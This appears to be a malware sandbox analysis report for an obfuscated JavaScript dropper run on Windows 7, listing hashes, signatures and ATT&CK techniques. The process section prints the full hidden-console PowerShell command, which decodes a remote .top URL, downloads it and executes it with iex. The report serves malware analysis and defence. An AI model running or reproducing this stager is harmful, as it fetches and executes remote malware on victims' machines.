f1825dced6dee0844ed8a377a0b9033c00fbf8d894eed28d546ebae43e4656f4

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 15:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928.js
Size

185KB
MD5

64df0989b1354b9bd93f935cbfbeb804
SHA1

d9412f52a7af1314134d00e10037bad59e62ca18
SHA256

3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928
SHA512

946a4d3ce0773803e833b6c1e4b9e6eaa92997b2b39b820a931da3b34a2d46080723b1f5804abf75facc1b0816f46db0e07b04128515e6f7d60837414c230ad4
SSDEEP

1536:nwSvdihKBuiqSwHIzrs02muskkZhHD66pKBuiqSwHIps02muskkZhHD66gs02mu2:nHSlHSmI6ylHKmI6nmI6blH/lHi

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1488	2564	conhost.exe	30

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928.js
1⤵
PID:2568

C:\Windows\system32\conhost.exe
conhost --headless powershell $pqeavyzshknxgf='ur' ;new-alias printout c$($pqeavyzshknxgf)l;$lxbhyeozawqr=(6375,6386,6394,6378,6380,6375,6395,6394,6399,6332,6394,6328,6375,6323,6393,6388,6389,6324,6326,6323,6389,6381,6389,6340,6392,6338,6386,6382,6387,6393,6392,6327,6326);$vripyktbzghx=('bronx','get-cmdlet');$czklpbo=$lxbhyeozawqr;foreach($vmztde in $czklpbo){$tiredwpzvsh=$vmztde;$leosrufpxz=$leosrufpxz+[char]($tiredwpzvsh-6277);$qrjenblms=$leosrufpxz; $dmzguypjhbv=$qrjenblms};$qimgscuadvrtn[2]=$dmzguypjhbv;$xsypawucfjz='rl';$tvkwnxrqemfdyl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmzguypjhbv)
1⤵
- Process spawned unexpected child process
PID:1488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads